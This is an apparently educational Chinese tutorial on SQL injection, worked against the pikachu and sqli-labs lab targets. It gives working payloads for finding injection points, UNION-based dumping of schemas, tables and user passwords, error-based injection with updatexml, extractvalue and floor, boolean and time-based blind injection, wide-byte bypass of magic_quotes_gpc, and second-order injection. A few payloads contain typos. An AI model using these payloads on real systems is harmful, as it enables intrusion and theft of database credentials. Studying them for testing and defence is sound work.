一、什么是SQL 注入
SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。(個人理解就是程序員寫程序的時候,前端輸入的數據沒有做限制,導致黑客可以通過改變前端輸入的變量從而改變sql語句來獲取數據庫的機密信息)
二、判斷是否存在注入點(涉及靶場:pikachu、sqliabs)
1、and 判斷方法
http://192.168.1.6:8080/sqli/Less-2/?id=1 and 1=1--+
?id=1 and 1=1頁面正常
http://192.168.1.6:8080/sqli/Less-2/?id=1 and 1=2--+
?id=1 and 1=2,頁面錯誤
2.or 判斷方法
http://192.168.1.6:8080/sqli/Less-2/?id=-1 or 1=2--+
?id=-1 or 1=2,頁面錯誤
http://192.168.1.6:8080/sqli/Less-2/?id=1 or 1=2--+
?id=1 or 1=2,頁面正常
三、注入分類
1. 數字型注入
2. 字符型注入
3. 搜索型(like)注入
4. 其他型注入
(1)?Id=1’) and 1=1 --+
(2)?id=1) and 1=1 --+
(3)?id=1”) and 1=1 --+
四、提交方式注入
1. GET 提交
參數在地址欄提交
2. POST 提交
參數在請求體提交
3. Cookie提交
各種語言獲取Cookie方式:
Asp:request.cookie(),request()
Php:$_COOKIE(),$_REQUEST
JAVA:request.getCookies()
五、注入攻擊方式
1. UNION 注入
UNION 操作符用於合並兩個或多個 SELECT 語句的結果集。(union 和oder by經常連用 ),一般先使用order by 爆破數據庫字段數。
先猜4個字段,報錯
再猜3個字段,頁面正常,顯示存在三個字段
union查詢,http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,2,3--+,讓id=-1’報錯,union后面語句爆出的數字能顯示數據庫信息
http://192.168.1.6:8080/sqli/Less-1/?id=-1%27%20union%20select%201,group_concat(version(),user()),database()--+,爆出數據庫相關信息
以MySQL為例,MySQL 5.0以上自帶一個information_schema庫,里面存儲你新建的數據庫的庫名、表名、列名。通過巧妙的利用這個庫,我們能獲取到數據庫里面的相關信息。(group_concat()函數可以將要查詢的字段拼接成字符串)
獲取當前用戶下的所有數據庫名:http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
以pikachu數據庫為例,我們獲取它的所有表名:
http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'--+
以users表為例,我們獲取它的列名:
通過用戶名和密碼獲取相關信息:
http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,username,password from users where id=2--+
2. 函數報錯注入和insert、update、delete注入
有時候使用union和order by進行sql注入時,數據不能回顯到前端頁面(前提是后台代碼沒有屏蔽sql的報錯),insert、update、delete可以和updatexml()、extractvalue()、floor()配合進行報錯注入。
(1)updatexml (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
concat:返回結果為連接參數產生的字符串。
注入語句:?id=1 and updatexml(1,concat(0x7e,(select user()) ,0x7e),1)--+
(2)extractvalue(XML_document, XPath_string);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字符串)
concat:返回結果為連接參數產生的字符串。
注入語句:?id=1 and extractvalue(null,concat(0x7e,(select @@datadir),0x7e))--+
(3)Floor(rand(0)*2)
注入語句:?Id=1 union select count(*) from table_name group by floor(rand(0)*2);
解釋:floor(rand(0)*2)的作用就是產生預知的數字序列01101,然后再利用 rand() 的特殊性和group by的虛擬表,最終引起了報錯。
參考來源:https://www.cnblogs.com/sfriend/p/11365999.html
Insert是sql插入語句,update是update更新語句,delete是sql刪除語句。這是三個語句可以結合updatexml()、extractvalue()、floor(rand(0)*2)這三個報錯函數使用。
可以通過burp抓包,構造payload。
格式如下:(updatexml()可以替換extractvalue())
a’ or updatexml(1,(concat(0x7e,(命令)),0) or ‘
顯示表名
a' or updatexml(1,(concat(0x7e,(select table_name from information.schema.tables where table_schema=”pikachu” limit 0,1)),0) or ‘
顯示列名
a' or updatexml(1,(concat(0x7e,(select column_name from information.schema.columns where table_name=”users” limit 2,1)),0) or ‘
顯示字段名
a' or updatexml(1,(concat(0x7e,(select username,password from users limit 0,1)),0) or ‘
3. 盲注
條件:前端無法顯示報錯信息,頁面錯誤跳轉到同一個頁面和404頁面
盲注經常需要幾個函數的配合使用:
ascii() 函數:返回ascii碼中對應的值
length()函數:返回字符串的長度
left(str,num)函數 : 從左截取指定字符串
substr(str,pos,num) 函數:截取指定位置指定長度的字符串
mid(str,pos,num) 函數 :截取指定位置指定長度的字符串
If(expr1,expr2,expr3)函數:expr1成立,執行expr2;expr1不成立,執行expr3。
sleep()函數:執行select sleep(N)可以讓此語句運行N秒鍾
(1)基於布爾型注入
有些查詢是不返回結果的,如果要判斷查詢語句是否正確執行,可以查看函數執行返回的布爾值,正常顯示為true(1),報錯或是其他不正常顯示為false(0)。
例如:ascii(substr((select table_name information_schema.tables where tables_schema
=database()limit 0,1),1,1))=101 --+
# 這查詢語句解釋: 從 information_schema.tables 中查詢當前數據庫中第一個表的表名的第一位字符串是否 ‘e’(注ascii(e)的ascii碼剛好是101),正確返回布爾值1或正常頁面,錯誤返回布爾值0或者返回錯誤頁面。
(2)基於時間型注入—延時注入
對於不能返回結果的,可以使用if函數和sleep()函數的配合,如果是執行成功的就延時一定時間再返回信息,如果不能執行成功就立即返回信息。
例如:If(ascii(substr(database(),1,1))=115,sleep(5),null)--+
#語句解釋:獲取數據庫名稱的第一位字符串的ascii碼是否115,如果是就延時5秒,不是就不做任何操作。
小結:布爾盲注和時間盲注主要考驗一些函數的配合使用並且構造相應payload。手工一位一位的獲取字符串是費勁。在知道原理前提下我們可以通過使用一些工具來輔助(burp suit ,sqlmap等)。
參考來源:https://www.cnblogs.com/startingpoint-fly/p/11158011.html
https://zhuanlan.zhihu.com/p/87374920
4. 寬字節注入和二次注入
php.ini 文件中有個magic_quotes_gpc是用來設置GPC($_GET、$_POST、$_COOKIE)的魔術引用狀態(在PHP4中也包含$_ENV)。當開啟時,所有的單引號,雙引號,反斜線和NUL's會被反斜線自動轉義。(php高版本放棄這種方式,php5版本存在此方法)
原理:mysql 在使用 GBK 編碼的時候,會認為兩個字符為一個漢字,例如%aa%5c 就是一個漢字(前一個 ascii 碼大於 128 才能到漢字的范圍)。在過濾 ’ 的時候,利用的思路是將 ‘ 轉換為 \’。
如果遇到magic_quotes_gpc開啟,我可以通過寬字節注入和二次注入的方式來突破魔術方法的干擾。
(1)寬字節注入(在單引號前面加個%df【注:‘ 的url編碼是%27】)
當構造payload時我們把單號替換為%df%27,首先經過上面提到的單引號轉義變成了%df%5c%27(%5c是反斜杠),之后在數據庫查詢之前由於使用了GBK多字節編碼,即在漢字編碼范圍內兩個字節會被編碼為一個漢字。然后MySQL服務器會對查詢語句進行GBK編碼即%df%5c轉換成了寬字符“運”,即%df%5c%27 = 縗’。這樣我們就可以繞過magic_quotes_gpc的干擾了。
(2)二次注入
使用條件:
1.用戶向數據庫插入惡意語句(即使后端代碼對語句進行了轉義,如mysql_escape_string、mysql_real_escape_string轉義)
2.數據庫對自己存儲的數據非常放心,直接取出惡意數據給用戶
參考來源:https://www.jianshu.com/p/3fe7904683ac
注:本文章僅供學習參考。